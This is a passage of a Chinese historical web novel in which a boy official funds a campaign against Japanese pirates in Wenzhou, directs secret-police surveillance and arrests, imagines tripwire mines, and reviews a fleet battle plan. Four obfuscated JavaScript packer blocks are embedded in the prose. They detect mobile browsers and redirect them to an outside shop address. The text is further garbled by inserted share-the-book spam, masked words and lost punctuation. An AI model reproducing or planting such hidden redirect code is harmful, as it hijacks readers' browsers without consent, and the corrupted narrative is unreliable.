“定会分批次尽数送到大人手中,绝不敢误了朝廷大事。” 沈家管家也说了几乎一模一样的话。 言辞恳切,滴水不漏。 若雪站在陆明渊身后,看着那两张轻飘飘的银票,清冷的眸子里闪过一丝不屑。 这些老狐狸,嘴上说得好听,心里的小算盘却打得噼啪响。 陆明渊却只是笑了笑,示意若雪将盒子收下。 “替我多谢两位家主。” 他看着两位管家,语气温和。 “告诉他们,这份心意,本官领了。温州百姓,也会记得他们的功劳。” 他当然看得穿这两家世故的算计。 若是“漕海一体”大获成功,那剩下的八十万两,恐怕明天就能摆在他的案头。 若是不顺,这笔钱就会像天边的云彩,看着很近,却永远也摸不着。 但他并不在乎。 或者说,他完全理解这种选择。 换作是他,坐拥万贯家财,身后是千百族人的性命前程,也同样会做出最稳妥、最利己的决定。 这世上,从来没有无缘无故的忠诚,只有实实在在的利益。 对陆明渊而言,这二十万两白银,已经足够了。 它像是一瓢滚油,可以让他这口刚刚烧热的锅,彻底沸腾起来。 送走了两位管家,陆明渊没有片刻耽搁,直接起身,对若雪吩咐道。 “备轿,去卫所。” 他要去见一个人,一个能将这二十万两白银,变成刀剑与战功的人。 温州卫指挥使司,坐落在城西,与喧闹的市集隔着两条街,显得格外肃杀。 门口的校尉看到府衙的仪仗,连忙通报。 不多时,一个身着四品武官补服,身材魁梧,面容黝黑的中年将领大步流星地迎了出来。 正是温州卫指挥使,邓玉堂。 “末将邓玉堂,参见陆大人!” 邓玉堂抱拳行礼,声如洪钟。 “邓将军不必多礼。” 陆明渊从轿中走出,小小的身躯在 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 邓玉堂高大的身影衬托下,更显单薄。 他没有在门口寒暄,而是开门见山。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777314|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “本官此来,有要事与将军商议,可否借一步说话? 邓玉堂心中一凛,连忙侧身引路:“大人请。 指挥使司的公房内,陈设简单,墙上挂着一张巨大的温州府及沿海舆图。 上面用朱笔和墨笔标记着密密麻麻的符号。 陆明渊的目光,第一时间便落在了那张舆图上。 “将军,请看。 他走到舆图前,伸出白皙修长的手指,点在了温州港的位置。 “本官上任之后,重开京杭运河水道。七日以来,从温州港北上的船队,每日运载的丝绸、瓷器、茶叶等货物,总价值,不足三万两白银。 邓玉堂沉默着,他知道,这已经是近几年来最好的光景了。 陆明渊的手指没有动,声音却陡然转冷。 “但本官查阅《温州志》,二十年前,倭寇尚未如此猖獗之时,自我温州港出发,沿运河北上或出海贸易的船只,每日吞吐的货物价值,超过十万两白银! “十万两,与三万两。 陆明渊转过身,平静地看着邓玉堂。 “邓将军,这其中消失的七万两,去了哪里? 邓玉堂的脸色变得无比难看,粗糙的大手不自觉地握成了拳头,关节嘎吱作响。 “回大人……被倭寇,抢了,劫了,或是……被他们吓得,不敢出海了! 每一个字,都像是从牙缝里挤出来的。 身为温州最高武官,这无疑是他最大的耻辱。 “没错。 陆明渊点了点头,似乎对这个答案毫不意外。 他缓缓踱步,宽大的官袍拖在地上,发出轻微的沙沙声。 “商路不通,则财货不兴:财货不兴,**生凋敝:民生凋敝,则盗匪四起。 “这是一个死结。 “而倭寇,就是这个死结的结心! 陆明渊停下脚步,目光重新变得锐利,如同一柄出鞘的利剑,直刺邓玉堂的内心。 “本官颁布《招商令》,减免商税,成立商事房,甚至组建荣兵商会。 “我所做的一切,都是为了重现温州当年之盛景。但这一切,都有一个前提。 他一字一顿地说道:“那就是,必须扫清盘踞在温州海域的所有倭寇,还我大乾商船一片干净的海洋! 邓玉堂的身躯猛地一震,呼吸都变得急促 听说看这本书的人都是很幸运的,分享后你的运气会更棒 起来。 他死死地盯着陆明渊,眼神中充满了难以置信的激动。 扫清倭寇! 这四个字,他想了多少年,盼了多少年! 可是,朝廷军费年年克扣,兵员老弱,战船失修。 他空有一腔热血,却只能眼睁睁地看着那些倭寇在家门口耀武扬威。 “大人……”他的声音因为激动而有些颤抖。 “朝廷……朝廷终于要下定决心清剿海疆了吗?” “朝廷的决心,就是我的决心。” 陆明渊的回答,平静却充满了力量。 他走回桌案前,从若雪手中接过一个檀木盒子,放在了邓玉堂面前,缓缓打开。 一沓沓整齐的万宝斋银票,出现在他眼前。 “这里,是二十万两白银。” 邓玉堂的瞳孔骤然收缩,死死地盯着那堆银票,仿佛看到了无数崭新的兵甲、锋利的刀枪和坚固的战船。 “本官知道,卫所缺钱,缺人,缺装备。但这二十万两,应该足够你做很多事了。” 陆明渊的声音很轻,却像一记重锤,狠狠砸在邓玉堂的心上。 “本官今日来,不问你能不能打,只问你两个问题。” 他伸出两根手指,目光清澈而坚定。 “第一,用这笔钱,要彻底扫清温州海域的所有倭寇,需要打几场仗?” “第二,打赢这几场仗,还需要多少军费?” 第224章 有钱,真的可以通神 “大人,清剿倭寇,非一朝一夕之功。” 邓玉堂抬起粗糙的大手,手指像是一根根铁条,点在了舆图上那些密密麻麻的岛屿上。 “末将敢问大人,可知倭寇为何如此难缠?” 不等陆明渊回答,他便自问自答:“其一,在船。” 他的手指重重地划过海面。 “倭寇所用,多为‘倭尾船’,船体狭长,吃水极浅,两头尖翘,快如奔马。” “我卫所的福船、沙船,虽然高大坚固,炮火凶猛,但在海却无比笨拙,追不上,打不着。” “他们仗着船快,打得过便一拥而上,打不过便一哄而散,化整为零,窜入星罗棋布的岛屿礁石之间。” “我等大船根本无法靠近,只能望洋兴叹。” “其二,在人,更在心。” 邓玉堂的声音愈发沉郁。 “如今的倭寇,早已不是几十年前那些只知烧杀抢掠的浪人。” “其中,混杂了大量我大乾的边军逃卒,甚至是……一些不得志的武人。” “他们为了钱财,甘为鹰犬,熟悉我军战法,战斗力远非寻常匪寇可比。” “更可怕的是,他们狡猾如狐,从不与我军主力正面决战。” 他猛地回身,黝黑的脸膛上浮现出一抹**。 “他们有眼睛,有耳朵!我们每次集结兵力,准备出海围剿,前脚刚出港,后脚倭寇便得到了消息。” “他们或避而不战,或声东击西,偷袭我们防守薄弱的港口、村镇。” “每一次伏击,都像是将拳头打进了棉花里,每一次大胜的捷报背后,都是沿海百姓的血泪!” “为何会这样?因为这温州城内,这浙江沿海,有太多的人在和他们勾结!” “他们将我大乾的丝绸、瓷器、药材走私给倭寇,再从倭寇手中换取那些海外的奇珍异宝、违禁的兵刃。” “他们互通消息,互为倚仗,早已形成了一张看不见的大网!” 他深吸一口气,强行压下翻涌的情绪,对着陆明渊一抱拳,深深地垂下了头。 “大人,想要清剿倭寇,必先锄奸!将城里这些通倭的商贾连根拔起,斩断倭寇的耳目与钱袋!” “而后,再以雷霆之势,发动数次大的围剿战役,将那些失了根基的倭寇主力,一举歼灭于海上!” “只是……” 邓玉堂抬起头,脸上露出一丝无奈的苦笑。 “要实现这两点,都需要钱,海量的钱 你的朋友正在书荒,快去帮帮他吧 。” “打造能与倭寇周旋的快船要钱抚恤阵亡将士的家属要钱激励士卒用命的赏钱更是一笔天文数字。” “按温州府如今每年的军费预算仅仅是维持眼下这种被动挨打的局面便已捉襟见肘。” “想要主动出击……末将无能实在是远远不够!” 整个公房再次陷入了沉默只有窗外的风声呜咽像是在诉说着这片海疆多年的悲歌。 陆明渊静静地听着脸上没有丝毫的波澜。邓玉堂所说的每一个字都在他的预料之中。 若非如此这东南的倭患 他缓步走到邓玉堂面前目光平静地看着这位被现实消磨了锐气的将领。 “邓将军你只需告诉我要办成你所说之事扫清温州府外海这一片区域所有活跃的倭寇大概需要多少军费?” 邓玉堂一怔他没想到陆明渊听完这番话非但没有退缩反而问得如此直接。 他看着那二十万两银票又在心中飞快地盘算起来。 造船、修船、军械、粮草、赏银、抚恤……每一项都是吞金的巨兽。 他沉吟了许久伸出三根粗壮的手指声音艰涩地说道。 “大人若要打造五十艘追得上倭寇的哨船修缮现有战船补充军械**并备足至少三次大战的赏钱与抚恤……末将粗略估算至少……至少需要五十万两白银!” 说完这个数字他自己都觉得有些虚幻。 五十万两这几乎是整个浙江布政司一年军费的一半。 “若是想将清缴范围扩大彻底肃清浙江外海则需扩充军备招募新兵那所需的银两更是难以估量。” 他补充了一句像是在提醒陆明渊此事的艰难。 “五十万两……” 陆明渊轻声重复了一遍点了点头仿佛这只是一个寻常的数字。 “本官知道了。” 他没有再多说什么只是将那个装有二十万两银票的檀木盒子轻轻推到了邓玉堂的面前。 “这二十万两将军先用着。剩下的本官回去筹集。” 说完他转身便走。 “若雪回府。” 邓玉堂呆立在原地看着桌上那沉甸甸的盒子又看着陆明渊那远去的背影一时间竟有些恍惚。 筹集? 那可是足足十五万两的缺口! 这位少年伯爷难道还能凭空变出银子来不成 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ? …… 府衙后堂,灯火通明。 陆明渊端坐在书案后,面沉如水,静静地翻阅着手中的卷宗。 一名身着飞鱼服,腰挎绣春刀的锦衣卫百户,正躬身站在他的面前,神情肃穆。 正是负责查抄汪家家产的百户,朱四。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777315|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“大人,截至目前,汪家一案,已全部清查完毕。” 朱四的声音低沉而有力。 “温州府内,所有汪家直系、旁支的产业与人脉,已尽数清缴。” “其中,从汪家府邸、各地钱庄及密窖中,共查抄出现银八十七万两。” 这个数字,让一旁侍立的若雪,清冷的眸子也忍不住微微一动。 朱四顿了顿,继续汇报道。 “另有古玩字画、珠宝玉器等,已请万宝斋的老师傅初步估价,价值约在七十万两白银上下。” “至于汪家名下的商铺、田庄、宅邸地契,遍布浙江、南直隶等地,粗略估计,总价值当在两百万两以上。” “只是这些不动产业,想要尽数变现,需要寻到合适的买家,尚需时日。” “粗略估算,仅这一次查抄便查出来三百五十万两白银!” 三百五十万两! 这个数字如同一道惊雷,在寂静的书房中炸响。 饶是陆明渊心性沉稳,两世为人。 当亲耳听到这个数字时,呼吸也不由得为之一滞。 他缓缓放下手中的卷宗,抬起头,看着朱四。 一个盘踞温州百年的世家,其积累的财富,竟已到了如此骇人听闻的地步! 这三百五十万两两,是多少百姓一辈子都无法想象的财富,是多少个州县一年的税赋总和! 而这,仅仅是一个汪家! 陆明渊的眼神变得幽深起来,他仿佛透过这个数字,看到了整个大乾王朝那光鲜外表下,早已腐烂生蛆的内里。 朱四似乎看出了陆明渊的震惊,他压低了声音,抛出了一个更惊人的消息。 “大人,这还不是全部。” “根据汪家大管家汪福招供,为了以防万一,汪家这些年,一直将家族半数以上的现银,通过海路,转移到了海外的一处秘密岛屿上存放。” “据汪福所说,那批被藏起来的银子……超过二百万两,皆是现银!” 八十七万两的现银,加上海外藏匿的二百万两,再加上那些价值连城的古玩和不动产…… 一个汪家,其真实身家,竟是超过了五百万两白银! 他深吸一口凉气,只觉得一股寒意从脊背直冲天灵盖。 他不敢想象,这五百多万两白银的背后,究竟吸附了多少民脂民膏。 更不敢想象,汪家这些年为了维持这泼天的富贵,又挥霍了多少,打点了多少! 怪不得,他们敢通倭。 怪不得,他们敢对抗朝廷国策。 怪不得,他们敢将自己这个钦命的冠文伯视若无物。 因为在他们眼中,有钱,真的可以通神。 第225章 他的第一个目标,便是** 书房内的烛火轻轻摇曳将陆明渊的身影投射在背后的墙壁上。 朱四看着陆明渊那张在光影中变幻不定的脸。 那双深邃的眸子里先是震惊而后是冰冷的愤怒最终都归于一片死水般的沉寂。 他知道这位少年伯爷的心境已经在这短短的时间内翻过了万重山。 他向前一步声音压得更低带着一种只有同类才能嗅出的对权与力的渴望和兴奋。 “大人 朱四的目光灼灼像是在黑夜里发现了猎物的饿狼。 他来浙江是带着圣旨来的。 陛下口谕浙江所有锦衣卫都归陆明渊节制。 不计代价全力配合务必要将“漕海一体”这件关乎国本的大事办成。 朱四的声音里透着一股狠厉与决绝。 “若能辅佐大人办成此事锦衣卫指挥使的位子便是我的。” 他微微挺直了身躯那身飞鱼服上的纹绣在烛光下仿佛活了过来狰狞而凶猛。 “卑职这次带来的都是在北镇抚司里跟我舔过刀口、过过命的兄弟。” “大人您指哪儿我们就咬哪儿。便是查不出证据卑职……也有的是办法让他们自己把证据吐出来!” 陆明渊的目光从卷宗上抬起落在了朱四的脸上。 他看到了那双眼睛里毫不掩饰的欲望那种为了向上攀爬不惜将一切踩在脚下的疯狂。 这一刻他才真正意识到自己肩上扛着的早已不是一个人的前程甚至不仅仅是老师林瀚文的期望。 这“漕海一体”四个字就像一个巨大的漩涡。 上牵着金銮殿龙椅上那位深不可测的帝王。 中连着朝堂上那些明争暗斗的衮衮诸公。 下系着大乾数千万百姓的生计与未来。 而朱四以及无数像朱四一样的人都将自己的身家性命押在了这个漩涡里。 自己便是那个搅动漩涡中心的人。 一股前所未有的沉重感伴随着一种难以言喻的使命感缓缓注入陆明渊的四肢百骸。 他知道自己已经没有退路也绝不能退。 他必须要办成这件事! “朱百户” “你我的前程都系于此。所以接下来的每一步都必须走得稳走得准。” 他伸出两根手指。 “第 你的朋友正在书荒,快去帮帮他吧 一件事汪家倒了温州城里最不安的就是沈家和陈家。” “他们现在就像是惊弓之鸟不知道我们的刀下一个会砍向谁。” “你安排人手给我死死地盯住他们两家。不用查什么就是盯住。” “我要让他们知道他们的一举一动都在我们的眼皮子底下。” “我要他们老实我要他们安分在我清剿倭寇的这段时间里不要给我添任何乱子。” 这是一种无声的警告也是一种微妙的平衡。 陆明渊暂时还需要这两家的财力来稳住温州商界但绝不容许他们暗中作祟。 “第二件事” 陆明渊的眼神变得锐利起来。 “锄奸。” “邓将军说得对不把城里的内鬼挖出来我们出海就是聋子和瞎子。” “我要你彻查温州城内所有与倭寇有牵扯的商贾。但是不能明着查。” 他的嘴角勾起一抹冷冽的弧度。 “接下来我会让邓玉堂将军配合你。” “他会故意散布消息就说总兵府已经凑够了军费不日便要集结主力对某某岛屿的倭寇进行一次大规模的伏击。” “你们锦衣卫要做的就是盯着那些在消息散布出去后行为异常、急于传递消息的人。” “我们来演一场戏请君入瓮。看看这温州城里到底有多少人盼着我们大乾的官军打败仗!” 朱四的眼睛瞬间亮了。这种引蛇出洞的计策正是他们锦衣卫最擅长的。 他重重一抱拳脸上是心领神会的兴奋:“大人英明!卑职明白了!” “去吧” 陆明渊摆了摆手。 “先去总兵府找邓将军问问他平日里最怀疑哪些人。从那些人身上开始查 “是!” 朱四领命没有丝毫拖泥带水转身便大步流星地离开了后堂。 绣春刀的刀柄随着他的步伐在门外的月光下划过一道冰冷的弧线随即隐没于夜色之中。 书房里再次安静下来。 若雪为陆明渊换上了一杯新茶茶雾袅袅氤氲了她清冷的眉眼。 她看着自家公子那张稚嫩却写满沧桑的侧脸心中不知为何竟生出一丝疼惜。 他才十二岁本该是在学堂里无忧无虑读书的年纪。 “若雪” 陆明渊没有回头目光依旧落在书案上。 “传我的话给府 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 衙的陈主簿。汪家查抄出的那些古玩字画除了几件孤品送往京城呈给陛下外其余的全部委托万宝斋售卖。” “价格可以比市价略低但要求只有一个快!” “我要在最短的时间内看到现银。” “还有那些商铺、田庄、宅邸的地契” “一并挂出去。告诉那些闻风而来的商贾我陆明渊只要银子。” “谁出的价高谁能最快付清全款东西就是谁的。” 若雪微微一怔轻声应道:“是公子。” 她明白公子这是要用汪家的钱来做自己的事。 这种雷厉风行的手段让整个温州府都在他的意志下高速运转起来。 陆明渊端起茶杯却没有喝只是感受着掌心传来的温热。 他的思绪已经飘到了更远的地方。 钱只是第一步。 要彻底解决倭患光有钱和船还不够。 “另外以温州府衙的名义张贴告示。宣告创建‘神匠楼’。” “广招浙江全境乃至整个江南的能工巧匠。” “无论是铁匠、木匠、船匠还是画师、算学先生只要有一技之长自认手艺高超者皆可前来应募。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777316|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“凡入我神匠楼者由府衙出钱供养提供最好的材料最优渥的待遇。” “他们无需再为生计发愁只需专心致志钻研技艺改良器物。” “告诉他们在我陆明渊这里匠人与读书人一样 这番话若是传出去足以在整个士大夫阶层掀起轩然大波。 自古“万般皆下品惟有读书高”“奇技淫巧”更是被主流所鄙夷。 陆明渊此举无异于是在挑战整个时代的价值观。 但陆明渊不在乎。 他来自一个工匠可以改变世界的地方。 他深知技术的革新才是推动时代进步最根本的力量。 他想要剿灭倭寇想要实现“漕海一体”想要让这个腐朽的王朝焕发生机。 必须拿出这个时代所没有的东西。 他需要一些手艺高超的匠人来实现他脑海中那些超越时代的构想。 他的第一个目标便是**。 陆明渊知道只要稍微调整硝、硫、碳的配比就能让**的威力产生质的飞跃。 而威力更强的**不仅能让火炮的射程和杀伤力倍增更能催生出一种全新的、足以改变海防 你的朋友正在书荒,快去帮帮他吧 格局的利器。 **。 倭寇狡猾,长于偷袭。 他们往往趁着夜色或大雾,从一些意想不到的滩涂登陆,劫掠村镇。 卫所的兵力有限,不可能守护住漫长的海岸线。 但如果,能在那些倭寇可能登陆的必经之路上,提前埋设好**呢? 他很清楚,以这个时代的工艺水平,造不出后世那种触发精准的压发**。 但是,没有关系。 他不需要那么高的精度。 他只需要利用一些简单的杠杆原理和卡扣设计,制造出一种足够灵敏的绊发式**。 一根细细的绳索,连接着隐蔽的触发机关,只要有人绊到,便会引爆埋在沙土下的陶罐。 陶罐里,是经过改良的猛**,以及大量的铁砂、碎石、瓷片。 一旦**,方圆数丈之内,人畜难存。 这种粗制滥造的**,或许在正规的战场上作用有限。 但用来对付那些登陆偷袭、队形散乱的倭寇,绝对能起到奇效。 一个、十个、一百个……当成百上千个这样的“铁火西瓜”被埋遍温州沿海的每一处滩涂要道时。 这片漫长的海岸线,将变成一道任何敌人都无法轻易逾越的死亡之墙。 到那时,倭寇每一次登陆,都将是一场拿命去**。 陆明渊放下茶杯,走到窗前,推开了窗户。 夜风带着海水的咸腥味扑面而来,吹得他衣袍猎猎作响。 他望着远处那片被夜幕笼罩的、漆黑无垠的大海,眼神悠远而坚定。 汪家的五百万两白银,撬开的是一个肮脏的旧世界。 而他,将用这笔钱,亲手为大乾,开创一个全新的时代。 神匠楼,将是他落下的第一颗棋子。 第226章 总兵府的兵马已经准备妥当 一个月后,温州府衙,后堂! 陆明渊书房内,温州府通判裴文忠站在书案前。 一张保养得宜的脸上,因为极度的兴奋而泛着红光,连眼角的皱纹里都盛满了笑意。 “大人,大人!天大的喜讯! 裴文忠躬着身子,努力想让自己显得更谦卑一些,可那上翘的嘴角却怎么也压不下去。 “卑职刚刚汇总了上月的府库账目。 “咱们温州府上个月的税收,相较于去年的这个时候,足足……足足翻了五倍! “五倍啊,大人! 他伸出一只手掌,五根手指因为用力而微微颤抖。 “这在以往,是想都不敢想的事情!汪家倒了,那些被他们堵死、霸占的商路全都活了过来。 “如今的温州港码头,每天进出的货物价值,经卑职派人粗略统计,已经超过了三万两白银! “还有,城卫军那边报上来的户籍统计,这一个月里,咱们温州府净增的人口,超过了一万! “一万多人,全是拖家带口从外地赶来的商队和家眷。 “城里的客栈早就住满了,连带着房价都涨了两成! 裴文忠越说越是激动。 他看着眼前这位端坐不动的少年,眼神里充满了近乎狂热的崇拜。 在他看来,这已经不是凡人能做到的事情了。 抄没一个盘踞百年的世家,非但没有引起动荡,反而让整座城市焕发出了前所未有的活力。 这等手段,简直是翻云覆雨,点石成金! “这都是大人的功劳!若非大人您高瞻远瞩,运筹帷幄,温州府哪有今日之盛景! “卑职……卑职对大人的敬仰,犹如滔滔江水,连绵不绝…… 陆明渊抬起手,轻轻打断了他滔滔不绝的吹捧。 他的目光,依旧没有离开那幅舆图。 “裴通判,他的声音很平淡,听不出喜怒。 “这些虚名,不必再提。 “人来了,是好事。但人来了,吃、穿、住、行,都是问题。 “你身为府衙通判,要把这些人的心安顿好。 “告诉他们,只要是来我温州府正经做生意的客商,无论是谁,府衙都会一视同仁。 陆明渊的手指,轻轻点在舆图上温州港的位置。 “他们,才是‘漕海一体’这盘大棋里,最重要的一环。 “没有他们,我们就算打通了海路,也不过是空 听说看这本书的人都是很幸运的,分享后你的运气会更棒 有其港无货可运。” “你告诉他们今日的温州只是一个开始。” “等到倭患平息海路大开我陆明渊要让这温州港重现当年万帆齐发百舸争流的盛世之况!” 这番话如同一道惊雷在裴文忠的脑海中炸响。 万帆齐发百舸争流! 他仿佛已经看到无数悬挂着大乾龙旗的巨舶满载着丝绸、瓷器、茶叶从温州港出发。 裴文忠的呼吸瞬间急促起来。 他很清楚眼前这位年仅十二岁的少年伯爷如今圣眷正浓又是大乾开国以来独一无二的少年状元。 其前程早已不是区区一个温州知府所能局限。 未来必定是入阁拜相成为朝堂之上那位说一不二的首辅大人! 而自己是第一批投效于他麾下的官员。 只要自己勤勤恳恳将陆明渊交办的差事办得妥妥帖帖。 日后那六部九卿之中未必就没有他裴文忠的一个位置! 想到这里裴文忠只觉得一股热血从脚底直冲天灵盖他重重一揖到底声音铿锵有力。 “大人放心!卑职便是拼了这条性命 陆明渊点了点头又随口吩咐了一些安抚商贾、整顿市容的细节便让他退下了。 看着裴文忠那几乎是飘着走出书房的背影陆明渊的眼神没有丝毫波动。 他需要裴文忠这样的人需要他的干劲也需要他的野心。 有野心才会拼命做事。 书房的门被一阵带着血腥气的风推开锦衣卫百户朱四那张棱角分明的脸出现在门口。 与满面红光的裴文忠不同朱四的脸上带着一种狼一般的悍勇与冰冷。 他那身飞鱼服似乎比一个月前更加鲜亮也更加狰狞仿佛是用真正的鲜血浸染过。 “大人。” 朱四进门单膝跪地动作干净利落。 “起来说话。” 陆明渊的目光从舆图上收回落在他身上。 “谢大人!” 朱四起身声音压得极低。 “按照大人的吩咐这一个月我们的人把沈家和陈家梳理了一遍。” 他的嘴角咧开一抹残忍的笑意。 “两家之内凡是跟倭寇有过书信来往或是账目牵连的管事、族人一共十七人都已经被卑职请到了北镇抚司的诏狱里喝茶。” “只不过 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 ,这些人的嘴都硬得很,到现在还不肯交代更深的东西。” 朱四的眼神闪过一丝不屑。 “不过卑职不急,进了我们锦衣卫的门,是龙也得盘着,是虎也得卧着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777317|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我有的是时间和法子,让他们把骨头渣子都吐出来。” 他顿了顿,语气变得更加森然:“这十七人被抓,就像是两把看不见的剑,悬在了沈、陈两家所有人的头顶上。” “现在,他们比谁都老实。大人您让他们往东,他们绝不敢往西。” 这正是陆明渊想要的效果。 敲山震虎,杀鸡儆猴。 “除了这两家,” 朱四继续禀报,“这一个月里,温州府内,跟倭寇牵扯最深的,便是那个四海商行。” “此商行,名义上是本地一个王姓大户的产业,实则背后是汪、沈、陈三家共同扶持的白手套。” “专门替他们处理一些见不得光的生意,其中就包括与倭寇的交易。” “汪家一倒,这四海商行立刻就乱了。里面的人,心思也活泛了起来。” 朱四的眼睛里闪烁着精明的光。 “一部分人,是铁了心要一条道走到黑的,他们没了汪家做靠山,反而和倭寇的联系更加紧密,企图借倭寇之力自保。” “而另一部分人,则是看清了风向,想要洗白上岸,推倒重来。” “他们很聪明,主动找到了我们锦衣卫,递上了投名状。” “靠着这批人提供的线索,我们顺藤摸瓜,又抓了不少平日里藏得极深的内应和走私商贩。” “如今的温州城,干净多了。” 陆明渊静静地听着,手指在书案上轻轻敲击。 朱四的办事能力,确实没有让他失望。 “大人您那招‘请君入瓮’的计策见效了!” 朱四的脸上终于露出了钦佩之色。 “邓将军那边放出要集结主力,伏击‘鬼头礁’倭寇的假消息后,城里那些坐不住的内鬼,都跳了出来。” “我们断了城中所有的飞鸽传信,他们想要传递消息,就只能派人快马出城。” “锦衣卫和邓将军麾下的斥候,在各处要道设伏,来一个抓一个,来一双逮一双!” “这一个月,光是截获的信使,就有十几拨!” “如今,城里的内奸就算没有肃清,也成了瞎子和聋子。” “他们传递消息的渠道,被我们彻底斩断,速度至少要慢上三四天。” “而这三四天,足够我们做很多事了。” 朱四深吸一口气,目光灼灼地看着陆明渊,说出了最后,也是最重要的一句话。 “邓将军托卑职转告大人,总兵府的兵马已经准备妥当。” “他想……跟盘踞在洞头列岛的倭寇,真刀**地干一场,来一次决战!” 第227章 天时、地利、人和,尽在我手! 送走了朱四陆明渊随即赶往了温州总兵府! 中军大帐内光线略显昏暗。 空气中弥漫着汗水、尘土与铁锈混合的独特气息这便是军营的味道。 大帐正中摆放着一个巨大的沙盘上面精细地堆塑出了整个温州府沿海的地形。 从瓯江的出海口到星罗棋布的洞头列岛每一处港湾每一片礁石都惟妙惟肖。 此刻沙盘之上插着两种颜色的小旗。 代表着温州卫所与周边友军的红色旗帜如同一张张开的巨网从南北两个方向对中心区域形成了一个巨大的半月形包围圈。 而在那包围圈的核心在那片名为“洞头列岛”的区域密密麻麻地插满了黑色的旗帜。 旗帜上用东瀛文字写着“江川”二字散发着一股阴森的杀气。 “伯爷请看。” 邓玉堂拿起一根长杆指着沙盘。 他的声音沉稳而有力 “**督的动作很快。宁波卫水师主力由俞大猷将军亲自率领已于三日前出港封锁了玉环、大鹿一线彻底断了江川新四郎北逃之路。” “南面台州卫与福建过来的南澳水师一部则陈兵南麂山扼住了倭寇南下的咽喉。” “这两支大军就像是两只巨掌正在缓缓合拢。” “所有游弋在这片海域的中小股倭寇除了向西冲上陆地便只剩下一个去处——” 他的长杆重重地落在了洞头列岛那片区域。 “投靠江川新四郎寻求庇护。” “这正是**督与末将商议的‘驱虎吞狼’之计。” “江川此人虽自负却也颇有枭雄之姿他正愁兵力不足以与我军决战。” “这些被赶来的散兵游勇对他而言正是送上门的肥肉。他一定会吞下去!” “根据线报在过去的五天里至少有二十多股总数超过三千人的倭寇已经汇入了他的船队。” “如今盘踞在鬼头礁、大瞿岛一带的倭寇总兵力已经超过八千人战船近百艘!” 邓玉堂说到这里眼中非但没有忧虑反而精光大盛。 “他以为自己实力大增却不知这也彻底断送了他最后一丝机动逃窜的可能。” “他的人越多船越多目标就越大后勤的压力也就越大!” “这片海域已经被我们彻底变成了一个死胡同!” 陆明渊静静地听 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 着,目光在沙盘上缓缓移动。 他能清晰地看到,那张由红色旗帜构成的包围网,正在如何一步步收紧。 这是一个堂堂正正的阳谋。 以大势压人,逼着你走进预设的战场,让你明知是陷阱,却又不得不跳。 因为陷阱之外,是更快的死亡。 “我军的布置呢? 陆明渊问道。 “请伯爷放心! 邓玉堂长杆一挥,指向了温州府近海的红色旗帜。 “末将已将温州水师分为三部。一部为疑兵,由副将率领,继续在瓯江口附近巡弋,做出防御本土的姿态,麻痹敌人。 “另一部,乃是奇兵,由末将亲自挑选出的五百名水性最好的老兵组成。 “他们将驾驶着吃水最浅的快船,趁着夜色,潜入列岛之内,藏匿于各处隐蔽港湾。 “他们的任务,不是交战,而是……放火,以及关键时刻,凿沉敌船,封锁航道! 他的声音压低了几分,带着一丝冰冷的残酷。 “而主力,我温州卫所五千精锐,连同伯爷您支持招募的两千老兵,共七千人,乘坐最大的福船与战座船,从灵昆岛出发,正面压上! 他手中的长杆,如同一柄利剑,直直刺向沙盘中央那片最密集的黑色旗帜。 “末将要用绝对的优势兵力,用最猛烈的炮火,一举击溃他的主力舰队! “让他首尾不能相顾! “届时,奇兵四起,火烧连营,南北两路大军再顺势压上,断其归路。江川新四郎,插翅难飞! 整个计划,环环相扣,既有大军团作战的堂皇正气,又不乏小股部队穿插的阴诡奇谋。 陆明渊听完,缓缓点头。 他不得不承认,邓玉堂无愧于沙场宿将之名,仅从军事角度而言,这个计划已经近乎完美。 